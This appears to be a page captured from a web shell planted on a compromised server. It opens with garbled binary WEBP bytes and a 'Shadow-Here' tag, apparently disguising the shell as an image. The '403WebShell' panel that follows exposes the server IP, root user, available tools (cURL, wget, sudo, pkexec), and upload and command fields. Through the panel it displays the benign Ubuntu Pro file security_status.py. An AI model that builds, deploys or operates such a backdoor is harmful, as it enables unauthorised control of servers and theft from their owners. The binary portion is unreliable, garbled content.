RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/uaclient/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib/python3/dist-packages/uaclient//security_status.py
from collections import defaultdict
from datetime import datetime, timezone
from enum import Enum
from functools import lru_cache
from random import choice
from typing import Any, DefaultDict, Dict, List, Tuple

import apt_pkg  # type: ignore

from uaclient import exceptions, livepatch, messages, util
from uaclient.api.u.pro.security.status.reboot_required.v1 import (
    _reboot_required,
)
from uaclient.api.u.pro.status.is_attached.v1 import _is_attached
from uaclient.apt import (
    PreserveAptCfg,
    get_apt_cache_datetime,
    get_apt_pkg_cache,
    get_esm_apt_pkg_cache,
    get_pkg_candidate_version,
)
from uaclient.config import UAConfig
from uaclient.entitlements import ESMAppsEntitlement, ESMInfraEntitlement
from uaclient.entitlements.entitlement_status import (
    ApplicabilityStatus,
    ApplicationStatus,
    ContractStatus,
)
from uaclient.system import (
    get_distro_info,
    get_kernel_info,
    get_release_info,
    is_current_series_lts,
    is_supported,
)

ESM_SERVICES = ("esm-infra", "esm-apps")


class UpdateStatus(Enum):
    "Represents the availability of a security package."
    AVAILABLE = "upgrade_available"
    AVAILABLE_NOT_PREFERRED = "upgrade_available_not_preferred"
    UNATTACHED = "pending_attach"
    NOT_ENABLED = "pending_enable"
    UNAVAILABLE = "upgrade_unavailable"


def print_package_list(packages):
    print(util.create_package_list_str(packages))


@lru_cache(maxsize=None)
def get_origin_information_to_service_map():
    series = get_release_info().series
    return {
        ("Ubuntu", "{}-security".format(series)): "standard-security",
        ("UbuntuESMApps", "{}-apps-security".format(series)): "esm-apps",
        ("UbuntuESM", "{}-infra-security".format(series)): "esm-infra",
        ("UbuntuESMApps", "{}-apps-updates".format(series)): "esm-apps",
        ("UbuntuESM", "{}-infra-updates".format(series)): "esm-infra",
    }


def get_installed_packages_by_origin() -> (
    DefaultDict["str", List[apt_pkg.Package]]
):
    result = defaultdict(list)

    with PreserveAptCfg(get_apt_pkg_cache) as cache:
        installed_packages = [
            package for package in cache.packages if package.current_ver
        ]
        result["all"] = installed_packages

        dep_cache = apt_pkg.DepCache(cache)

        for package in installed_packages:
            result[
                get_origin_for_installed_package(package, dep_cache)
            ].append(package)

    return result


def get_origin_for_installed_package(
    package: apt_pkg.Package, dep_cache: apt_pkg.DepCache
) -> str:
    """
    Returns the origin for a package installed in the system.

    Technically speaking, packages don't have origins - their versions do.
    We check the available versions (installed, candidate) to determine the
    most reasonable origin for the package.
    """
    # We assume that packages we pass are installed
    if not package.current_ver:
        return ""
    available_origins = package.current_ver.file_list

    # If the installed version for a package has a single origin, it means that
    # only the local dpkg reference is there. Then, we check if there is a
    # candidate version. No candidate means we don't know anything about the
    # package. Otherwise we check for the origins of the candidate version.
    if len(available_origins) == 1:
        candidate = dep_cache.get_candidate_ver(package)
        if not candidate or package.current_ver == candidate:
            return "unknown"
        available_origins = candidate.file_list

    for origin, _ in available_origins:
        service = get_origin_information_to_service_map().get(
            (origin.origin, origin.archive), ""
        )
        if service in ESM_SERVICES:
            return service
        if origin.origin == "Ubuntu":
            return origin.component

    return "third-party"


@lru_cache(maxsize=None)
def _is_candidate_version(pkg: str, version: str) -> bool:
    """Returns True if the package version is a candidate version."""
    candidate_version = get_pkg_candidate_version(pkg, check_esm_cache=False)
    if candidate_version:
        return version == candidate_version
    return False


def get_update_status(
    service_name: str,
    ua_info: Dict[str, Any],
    version: apt_pkg.Version,
) -> str:
    """Defines the update status for a package based on the service name.

    For ESM-[Infra|Apps] packages, first checks if Pro is attached. If this is
    the case, also check for availability of the service.
    """
    if service_name in ("standard-security", "standard-updates") or (
        ua_info["attached"] and service_name in ua_info["enabled_services"]
    ):
        is_candidate = _is_candidate_version(
            version.parent_pkg.name, version.ver_str
        )
        return (
            UpdateStatus.AVAILABLE.value
            if is_candidate
            else UpdateStatus.AVAILABLE_NOT_PREFERRED.value
        )
    if not ua_info["attached"]:
        return UpdateStatus.UNATTACHED.value
    if service_name in ua_info["entitled_services"]:
        return UpdateStatus.NOT_ENABLED.value
    return UpdateStatus.UNAVAILABLE.value


def filter_updates(
    packages: List[apt_pkg.Package],
) -> DefaultDict[str, List[Tuple[apt_pkg.Version, str]]]:
    """Filters a list of packages looking for available updates.

    All versions greater than the installed one are reported, based on where
    it is provided, including ESM pockets, excluding backports.
    """
    result = defaultdict(list)

    # This esm_cache will only be usefull for the situation where
    # the user does not have the esm (infra or apps) services enabled,
    # but has be advertised about esm packages. Since those
    # sources live in a private folder, we need a different apt cache
    # to access them.
    with PreserveAptCfg(get_esm_apt_pkg_cache) as esm_cache:
        for package in packages:
            # We only care about installed packages here
            if package.current_ver:
                for version in package.version_list:
                    # Seems mypy cannot understand we can compare these :/
                    if version > package.current_ver:  # type: ignore
                        counted_as_security = False
                        for origin, _ in version.file_list:
                            service = (
                                get_origin_information_to_service_map().get(
                                    (origin.origin, origin.archive)
                                )
                            )
                            if service:
                                result[service].append((version, origin.site))
                                counted_as_security = True
                                # No need to loop through all the origins
                                break
                        # Also no need to report backports at least for now...
                        expected_origin = version.file_list[0][0]
                        if (
                            not counted_as_security
                            and "backports" not in expected_origin.archive
                        ):
                            result["standard-updates"].append(
                                (version, expected_origin.site)
                            )

                # This loop should be only used if the user does not have esm
                # (infra or apps) enabled, and it is shorter than the
                # previous one
                if package.name in esm_cache:
                    esm_package = esm_cache[package.name]
                    for version in esm_package.version_list:
                        if version > package.current_ver:  # type: ignore
                            for origin, _ in version.file_list:
                                service = get_origin_information_to_service_map().get(  # noqa: E501
                                    (origin.origin, origin.archive)
                                )
                                if service:
                                    result[service].append(
                                        (version, origin.site)
                                    )
                                    break

    return result


def get_ua_info(cfg: UAConfig) -> Dict[str, Any]:
    """Returns the Pro information based on the config object."""
    is_attached = _is_attached(cfg).is_attached
    ua_info = {
        "attached": is_attached,
        "enabled_services": [],
        "entitled_services": [],
    }  # type: Dict[str, Any]

    if is_attached:
        infra_entitlement = ESMInfraEntitlement(cfg)
        apps_entitlement = ESMAppsEntitlement(cfg)

        if apps_entitlement.contract_status() == ContractStatus.ENTITLED:
            ua_info["entitled_services"].append("esm-apps")
        if (
            apps_entitlement.application_status()[0]
            == ApplicationStatus.ENABLED
        ):
            ua_info["enabled_services"].append("esm-apps")

        if infra_entitlement.contract_status() == ContractStatus.ENTITLED:
            ua_info["entitled_services"].append("esm-infra")
        if (
            infra_entitlement.application_status()[0]
            == ApplicationStatus.ENABLED
        ):
            ua_info["enabled_services"].append("esm-infra")

    return ua_info


# Yeah Any is bad, but so is python<3.8 without TypedDict
def get_livepatch_fixed_cves() -> List[Dict[str, Any]]:
    try:
        lp_status = livepatch.status()
    except exceptions.ProcessExecutionError:
        return []

    our_kernel_version = get_kernel_info().proc_version_signature_version
    if (
        lp_status is not None
        and our_kernel_version is not None
        and our_kernel_version == lp_status.kernel
        and lp_status.livepatch is not None
        and lp_status.livepatch.state == "applied"
        and lp_status.livepatch.fixes is not None
        and len(lp_status.livepatch.fixes) > 0
    ):
        return [
            {"name": fix.name or "", "patched": fix.patched or False}
            for fix in lp_status.livepatch.fixes
        ]

    return []


def create_updates_list(
    upgradable_versions: DefaultDict[str, List[Tuple[apt_pkg.Version, str]]],
    ua_info: Dict[str, Any],
) -> List[Dict[str, Any]]:
    updates = []
    for service, version_list in upgradable_versions.items():
        for version, origin in version_list:
            status = get_update_status(service, ua_info, version)
            updates.append(
                {
                    "package": version.parent_pkg.name,
                    "version": version.ver_str,
                    "service_name": service,
                    "status": status,
                    "origin": origin,
                    "download_size": version.size,
                }
            )

    return updates


def security_status_dict(cfg: UAConfig) -> Dict[str, Any]:
    """Returns the status of security updates on a system.

    The returned dict has a 'packages' key with a list of all installed
    packages which can receive security updates, with or without ESM,
    reflecting the availability of the update based on the Pro status.

    There is also a summary with the Ubuntu Pro information and the package
    counts.
    """
    ua_info = get_ua_info(cfg)

    summary = {"ua": ua_info}  # type: Dict[str, Any]
    packages_by_origin = get_installed_packages_by_origin()

    installed_packages = packages_by_origin["all"]
    summary["num_installed_packages"] = len(installed_packages)

    upgradable_versions = filter_updates(installed_packages)
    # This version of security-status only cares about security updates
    upgradable_versions["standard-updates"] = []

    updates = create_updates_list(upgradable_versions, ua_info)

    summary["num_main_packages"] = len(packages_by_origin["main"])
    summary["num_restricted_packages"] = len(packages_by_origin["restricted"])
    summary["num_universe_packages"] = len(packages_by_origin["universe"])
    summary["num_multiverse_packages"] = len(packages_by_origin["multiverse"])
    summary["num_third_party_packages"] = len(
        packages_by_origin["third-party"]
    )
    summary["num_unknown_packages"] = len(packages_by_origin["unknown"])
    summary["num_esm_infra_packages"] = len(packages_by_origin["esm-infra"])
    summary["num_esm_apps_packages"] = len(packages_by_origin["esm-apps"])

    summary["num_esm_infra_updates"] = len(upgradable_versions["esm-infra"])
    summary["num_esm_apps_updates"] = len(upgradable_versions["esm-apps"])
    summary["num_standard_security_updates"] = len(
        upgradable_versions["standard-security"]
    )
    summary["reboot_required"] = _reboot_required(cfg).reboot_required

    return {
        "_schema_version": "0.1",
        "summary": summary,
        "packages": updates,
        "livepatch": {"fixed_cves": get_livepatch_fixed_cves()},
    }


def _print_package_summary(
    package_lists: DefaultDict[str, List[apt_pkg.Package]],
    show_items: str = "all",
    always_show: bool = False,
) -> None:
    total_packages = len(package_lists["all"])
    print(messages.SS_SUMMARY_TOTAL.format(count=total_packages))

    offset = " " * (len(str(total_packages)) + 1)

    if show_items in ("all", "esm-infra"):
        packages_mr = (
            len(package_lists["main"])
            + len(package_lists["restricted"])
            + len(package_lists["esm-infra"])
        )
        print(
            messages.SS_SUMMARY_ARCHIVE.pluralize(packages_mr).format(
                offset=offset,
                count=packages_mr,
                repository="Main/Restricted",
            )
        )

    if show_items in ("all", "esm-apps"):
        packages_um = (
            len(package_lists["universe"])
            + len(package_lists["multiverse"])
            + len(package_lists["esm-apps"])
        )
        if packages_um or always_show:
            print(
                messages.SS_SUMMARY_ARCHIVE.pluralize(packages_um).format(
                    offset=offset,
                    count=packages_um,
                    repository="Universe/Multiverse",
                )
            )

    if show_items in ("all", "third-party"):
        packages_thirdparty = len(package_lists["third-party"])
        if packages_thirdparty or always_show:
            print(
                messages.SS_SUMMARY_THIRD_PARTY.pluralize(
                    packages_thirdparty
                ).format(offset=offset, count=packages_thirdparty)
            )

    if show_items in ("all", "unknown"):
        packages_unknown = len(package_lists["unknown"])
        if packages_unknown or always_show:
            print(
                messages.SS_SUMMARY_UNAVAILABLE.pluralize(
                    packages_unknown
                ).format(
                    offset=offset,
                    count=packages_unknown,
                )
            )

    print("")


def _print_interim_release_support():
    series = get_release_info().series
    eol_date = get_distro_info(series).eol
    date = "{}/{}".format(str(eol_date.month), str(eol_date.year))
    print(messages.SS_INTERIM_SUPPORT.format(date=date))
    print("")


def _print_lts_support():
    series = get_release_info().series
    if is_supported(series):
        eol_date = get_distro_info(series).eol
        print(messages.SS_LTS_SUPPORT.format(date=str(eol_date.year)))
    else:
        print(messages.SS_NO_SECURITY_COVERAGE)


def _print_service_support(
    service: str,
    repository: str,
    service_status: ApplicationStatus,
    service_applicability: ApplicabilityStatus,
    installed_updates: int,
    available_updates: int,
    is_attached: bool,
):
    series = get_release_info().series
    eol_date_esm = get_distro_info(series).eol_esm
    if service_status == ApplicationStatus.ENABLED:
        message = messages.SS_SERVICE_ENABLED.format(
            repository=repository,
            service=service,
            year=str(eol_date_esm.year),
        )
    else:
        message = messages.SS_SERVICE_ADVERTISE.format(
            service=service,
            repository=repository,
            year=str(eol_date_esm.year),
        )

    if installed_updates:
        message += " " + messages.SS_SERVICE_ENABLED_COUNTS.pluralize(
            installed_updates
        ).format(
            updates=installed_updates,
        )

    if available_updates:
        message += " " + messages.SS_SERVICE_ADVERTISE_COUNTS.pluralize(
            available_updates
        ).format(
            updates=available_updates,
        )
    print(message)

    if (
        is_attached
        and service_status == ApplicationStatus.DISABLED
        and service_applicability == ApplicabilityStatus.APPLICABLE
    ):
        print("")
        print(messages.SS_SERVICE_COMMAND.format(service=service))

    print("")


def _print_apt_update_call():
    last_apt_update = get_apt_cache_datetime()
    if last_apt_update is None:
        print(messages.SS_UPDATE_UNKNOWN)
        print("")
        return

    now = datetime.now(timezone.utc)
    time_since_update = now - last_apt_update
    if time_since_update.days > 0:
        print(messages.SS_UPDATE_DAYS.format(days=time_since_update.days))
        print("")


def security_status(cfg: UAConfig):
    esm_infra_ent = ESMInfraEntitlement(cfg)
    esm_apps_ent = ESMAppsEntitlement(cfg)

    esm_infra_status = esm_infra_ent.application_status()[0]
    esm_infra_applicability = esm_infra_ent.applicability_status()[0]
    esm_apps_status = esm_apps_ent.application_status()[0]
    esm_apps_applicability = esm_apps_ent.applicability_status()[0]

    series = get_release_info().series
    is_lts = is_current_series_lts()
    is_attached = get_ua_info(cfg)["attached"]

    packages_by_origin = get_installed_packages_by_origin()
    security_upgradable_versions_infra = filter_updates(
        packages_by_origin["main"]
        + packages_by_origin["restricted"]
        + packages_by_origin["esm-infra"],
    )["esm-infra"]

    security_upgradable_versions_apps = filter_updates(
        packages_by_origin["universe"]
        + packages_by_origin["multiverse"]
        + packages_by_origin["esm-apps"],
    )["esm-apps"]

    _print_package_summary(packages_by_origin)

    print(messages.SS_HELP_CALL)
    print("")

    _print_apt_update_call()

    if not is_lts:
        if is_supported(series):
            _print_interim_release_support()
        print(messages.SS_NO_INTERIM_PRO_SUPPORT)
        return

    if esm_infra_status == ApplicationStatus.DISABLED:
        _print_lts_support()

    if is_attached:
        print(messages.SS_IS_ATTACHED)
    else:
        print(messages.SS_IS_NOT_ATTACHED)
    print("")

    _print_service_support(
        service="esm-infra",
        repository="Main/Restricted",
        service_status=esm_infra_status,
        service_applicability=esm_infra_applicability,
        installed_updates=len(packages_by_origin["esm-infra"]),
        available_updates=len(security_upgradable_versions_infra),
        is_attached=is_attached,
    )

    if (
        packages_by_origin["universe"]
        or packages_by_origin["multiverse"]
        or packages_by_origin["esm-apps"]
    ):
        _print_service_support(
            service="esm-apps",
            repository="Universe/Multiverse",
            service_status=esm_apps_status,
            service_applicability=esm_apps_applicability,
            installed_updates=len(packages_by_origin["esm-apps"]),
            available_updates=len(security_upgradable_versions_apps),
            is_attached=is_attached,
        )

    if not is_attached:
        print(messages.SS_LEARN_MORE)


